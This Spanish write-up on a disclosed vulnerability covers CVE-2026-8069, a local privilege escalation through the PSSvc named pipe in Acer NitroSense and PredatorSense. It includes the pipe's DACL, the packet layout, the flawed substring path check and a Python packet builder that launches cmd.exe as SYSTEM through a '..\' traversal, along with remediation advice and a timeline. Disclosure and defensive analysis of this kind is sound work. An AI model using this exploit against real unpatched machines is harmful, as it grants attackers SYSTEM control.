
Write-up técnico y prueba de concepto para CVE-2026-8069, una escalada de privilegios local en los servicios Acer NitroSense y PredatorSense, que explota una named pipe para ejecutar código arbitrario como SYSTEM.
Acer NitroSense y PredatorSense 3.x instalaron un servicio de Windows llamado PSSvc que exponía un protocolo personalizado de named pipe a usuarios locales. Un comando del protocolo aceptaba una ruta de ejecutable controlada por el llamante, duplicaba el token de winlogon.exe e iniciaba ese ejecutable como NT AUTHORITY\SYSTEM.
La restricción de ruta en el servicio vulnerable era una prueba de subcadena. Una ruta que comenzaba dentro del directorio del servicio y luego usaba componentes ..\ superaba la prueba pero se resolvía en otro lugar. Combinado con el control de acceso permisivo del pipe y la ausencia de autorización del llamante, esto permitía a un usuario local estándar obtener un proceso SYSTEM.
Acer asignó CVE-2026-8069, publicó versiones corregidas y acreditó a Artem Domarev de la Universidad de Hradec Králové en su aviso de seguridad.
Este artículo se centra en la vía de creación de procesos/LPE. El aviso de Acer también describe la eliminación arbitraria de archivos, que quedó fuera del alcance de esta validación.
La elección de la dirección de investigación también estuvo influenciada por un análisis público de software OEM publicado por Leon Jacobs de SensePost. Ese trabajo documentó vulnerabilidades en ASUS DriverHub, MSI Center, Acer Control Centre y Razer Synapse 4 (Jacobs, 2025). Reforzó la idea de que las utilidades de hardware proporcionadas por los proveedores pueden exponer una superficie de ataque significativa y poco explorada. En lugar de revisitar Acer Control Centre, extendí la investigación a una familia de productos diferente de Acer: NitroSense y PredatorSense.
La cadena de explotación es corta:
usuario local autenticado
│
▼
named pipe permisivo de PSSvc
│ comando personalizado 0x0007
▼
verificación de ruta solo por subcadena
│ service-dir\..\..\..\Windows\System32\cmd.exe
▼
duplicación del token de winlogon.exe de la sesión activa
│
▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM
Existe una inconsistencia en la redacción pública. La página de Acer dice que las versiones de NitroSense "anteriores a 3.01.3052" están afectadas, sin embargo, la versión 3.1.3052.0 de PSSvc.exe firmada por el proveedor y probada para este artículo es demostrablemente vulnerable. La misma página identifica NitroSense 3.01.3056 como la versión corregida. El rango de aplicabilidad de NVD también se extiende hasta, pero sin incluir, 3.01.3056.
Para PredatorSense, la frase de versiones afectadas de Acer se detiene antes de 3.00.3196, mientras que la versión corregida listada es 3.00.3198 y NVD utiliza esta última como límite superior.
La regla operativa conservadora es, por tanto, simple: no utilice la ambigua frase de "afectadas" como comprobación de parche. Actualice al menos a las versiones corregidas que Acer nombra —PredatorSense 3.00.3198 o NitroSense 3.01.3056— o a un paquete más reciente compatible con el modelo.
El problema se reprodujo con el paquete original de NitroSense.
La firma Authenticode de PSSvc.exe se validó correctamente y encadenó a Acer Incorporated. El MSI instaló PSSvc como un servicio de proceso propio con inicio bajo demanda que se ejecuta como LocalSystem.
El paquete NitroSense instala:
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE: WIN32_OWN_PROCESS
START_TYPE: DEMAND_START
ACCOUNT: LocalSystem
Un servicio SYSTEM no es automáticamente vulnerable. La pregunta importante es si un proceso con menores privilegios puede alcanzar funcionalidad que fue diseñada bajo la suposición de que su llamante es de confianza.
El análisis de cadenas expuso inmediatamente el punto final IPC:
\\.\pipe\predatorsense_service_namedpipe
En 0x140014AD0, el servicio construye el pipe y pasa un descriptor de seguridad explícito a CreateNamedPipeW:
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)
Esto merece una corrección explícita: la versión vulnerable no pasa un descriptor NULL. Crea una DACL permisiva.
La ACE AU es suficiente para que un usuario autenticado normal abra el pipe para lectura y escritura. El servidor no suplanta entonces al cliente ni realiza una decisión de autorización antes de despachar comandos privilegiados.
El hilo cliente en 0x14000ABB0 lee mensajes en un búfer de 512 bytes. Analiza los primeros tres bytes como un número de comando de 16 bits y un contador de argumentos de 8 bits. Cada argumento tiene prefijo de longitud:
Offset Tamaño Significado
0x00 2 ID de comando, little-endian
0x02 1 número de argumentos
0x03 4 longitud del argumento 0
0x07 n bytes del argumento 0
... DWORD de longitud repetido + valor
Los argumentos de cadena son UTF-16LE. Los argumentos enteros son DWORDs little-endian. El despachador acepta IDs de comando por debajo de 0x23 y los utiliza como índices en una tabla de funciones de 35 entradas en 0x140052C90.
La entrada para el comando 0x0007 apunta a 0x14000BFD0.
Reducido a su comportamiento relevante para la seguridad, el manejador se ve así:
int command_07(parsed_arguments *args)
{
wchar_t service_directory[MAX_PATH];
wchar_t *requested_path = args->wide_string[0];
uint32_t mode = args->dword[1];
GetModuleFileNameW(NULL, service_directory, MAX_PATH);
PathRemoveFileSpecW(service_directory);
if (wcsstr(requested_path, service_directory) != NULL)
return launch_with_selected_token(requested_path, mode);
return 0;
}
wcsstr solo responde si una cadena aparece dentro de otra. No canoniza una ruta, no resuelve segmentos de puntos, no abre un archivo ni demuestra que el objeto final permanece bajo un directorio de confianza.
Suponga que el servicio está instalado en:
C:\Program Files\Acer\NitroSense_Service
La siguiente ruta contiene ese directorio en el desplazamiento cero, por lo que wcsstr tiene éxito:
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe
Windows resuelve los segmentos de puntos a:
C:\WINDOWS\System32\cmd.exe
Ese es un error clásico de canonización: la validación se realiza sobre una representación textual, mientras que la operación sensible consume su significado normalizado.
El asistente de lanzamiento de procesos en 0x1400091F0 tiene una rama especial cuando el segundo argumento es 0x72 (decimal 114). Este:
CreateToolhelp32Snapshot;winlogon.exe en la sesión activa;winsta0\default.Los puntos de llamada críticos en el binario probado fueron:
Esto significa que el comando 0x0007 no solo pide a un servicio que lance una de sus propias herramientas de confianza. Expone un lanzador de procesos con token SYSTEM general a un pipe al que los usuarios ordinarios pueden acceder.
El constructor de paquetes esencial es pequeño:
import struct
def build_packet(command_id, *arguments):
packet = struct.pack("<HB", command_id, len(arguments))
for argument in arguments:
if isinstance(argument, str):
argument = argument.encode("utf-16-le")
elif isinstance(argument, int):
argument = struct.pack("<I", argument)
packet += struct.pack("<I", len(argument)) + argument
return packet
service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"
# El manejador espera la ruta, el modo de token y ocho ranuras adicionales.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))
El script de validación completo abre el pipe con CreateFileW, establece el modo de mensaje, envía este paquete y decodifica la respuesta del servicio. Descubre la ruta del servicio instalado en lugar de codificarla y comprueba el destino normalizado antes de enviar nada.
El script completo utilizado para este artículo está disponible como acer_cve_2026_8069_poc.py.
El Setup.exe del proveedor realiza comprobaciones de hardware y suministra propiedades MSI privadas. Extraje NitroSense.msi y recuperé esas propiedades del arrancador .NET:
$arguments = @(
'/i', 'C:\Lab\NitroSense.msi',
'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
'GPRODUCTNAME=NitroSense_Service',
'/qn', '/norestart',
'/l*v', 'C:\Lab\install.log'
)
Start-Process msiexec.exe -ArgumentList $arguments -Wait
Estas propiedades reproducen la ruta de instalación del arrancador en hardware que no supera sus comprobaciones de entorno.
Después de la instalación, verifiqué la versión del archivo, SHA-256 y la firma, y luego inicié el servicio de inicio bajo demanda:
sc.exe qc PSSvc
sc.exe start PSSvc
La solicitud se envió desde una cuenta local estándar, no administrativa, que se ejecuta con integridad media.
Desde esa cuenta:
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe
El servicio devolvió:
[PASS] Conectado
[INFO] Enviando CMD 0x0007: path='cmd.exe', mode=0x72
Tamaño del paquete: 227 bytes
Respuesta bruta: 010400000001000000
Código de retorno: 1
[CRITICAL] PROCESO CREADO CON ÉXITO
El mensaje de éxito del PoC no es la prueba por sí mismo. Consulté el proceso resultante de forma independiente desde un canal de evidencia administrativo:
Parent : PSSvc.exe
Session : Interactive
Owner : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"
El shell SYSTEM era un hijo directo de PSSvc.exe en la sesión interactiva, con la ruta de traversal preservada en su línea de comandos.
También tracé las APIs del servicio durante la solicitud exitosa. El rastreo registró la sesión activa 1, un WTSQueryUserToken exitoso, una instantánea de procesos, un OpenProcess para el winlogon.exe de la sesión, DuplicateTokenEx exitoso, modificación del token de integridad y un retorno de éxito del asistente de lanzamiento de procesos.


No fue una única comparación aislada defectuosa. La explotación requirió que varios fallos de confianza se alinearan:
wcsstr en lugar de validación canónica de ruta.winlogon.exe.Eliminar cualquiera de los últimos cuatro eslabones habría prevenido esta vía LPE. La defensa en profundidad debería eliminarlos todos.
La remediación respaldada por Acer es actualizar a PredatorSense 3.00.3198, NitroSense 3.01.3056 o posterior. Utilice el paquete que Acer ofrece para el número de serie o SNID de la máquina, como se describe en el aviso del proveedor.
Para desarrolladores de servicios privilegiados de Windows, las lecciones más amplias son:
| Fecha | Evento |
|---|---|
| 2026-02-19 | Informe de vulnerabilidad preparado y enviado a Acer. |
| 2026-05-08 | CVE-2026-8069 publicado en el ecosistema CVE/NVD. |
| 2026 | Acer publicó su aviso, acreditó al investigador y nombró las versiones corregidas de PredatorSense y NitroSense. |
| 2026-08-28 | Reproducción independiente completada para este informe. |
Los named pipes locales son fáciles de confundir con límites de confianza. Son solo mecanismos de transporte. Cuando un servicio SYSTEM expone un despachador de comandos, su ACL de pipe, la autorización del llamante, la validación de argumentos y la implementación privilegiada se convierten todos en parte del límite de seguridad.
Aquí, un pipe permisivo alcanzó una rutina de duplicación de tokens, y una verificación de subcadena intentó sustituir la contención de ruta. El resultado fue una transición fiable de un usuario local estándar a NT AUTHORITY\SYSTEM.
El informe y los medios de investigación originales están licenciados bajo Creative Commons Attribution 4.0 International. El código fuente del PoC está licenciado bajo la Licencia MIT. Consulte LICENSE.md para el alcance y las exclusiones de terceros.
| Elemento | Resultado |
|---|
| CVE | CVE-2026-8069 |
| Componente vulnerable probado | PSSvc.exe 3.1.3052.0, firmado por Acer Incorporated |
| Identidad del servicio | LocalSystem |
| Punto final IPC | \\.\pipe\predatorsense_service_namedpipe |
| Comando vulnerable | 0x0007 |
| Acceso requerido del atacante | Usuario local autenticado capaz de ejecutar un programa |
| Interacción del usuario | Ninguna |
| Resultado | Ejecutable arbitrario lanzado como NT AUTHORITY\SYSTEM |
| CVSS v3.1 de NVD | 7.8 Alta — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versiones corregidas | PredatorSense 3.00.3198; NitroSense 3.01.3056 |
| Artefacto | SHA-256 |
|---|
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip | 947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157 |
NitroSense.msi | 6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C |
PSSvc.exe 3.1.3052.0 instalado | 3BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40 |
| PoC utilizado para la validación | 31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163 |
| Abreviatura SID | Principal | Permiso efectivo en el SDDL |
|---|
BG | Invitados integrados | Acceso genérico total |
AN | Anónimo | Acceso genérico total denegado |
AU | Usuarios autenticados | Lectura, escritura y ejecución genéricas |
BA | Administradores integrados | Acceso genérico total |
| Operación | Dirección |
|---|
CreateToolhelp32Snapshot | 0x140009298 |
OpenProcessToken | 0x140009346 |
DuplicateTokenEx | 0x1400093B0 |
CreateProcessAsUserW | 0x1400094BF / 0x1400094C7 |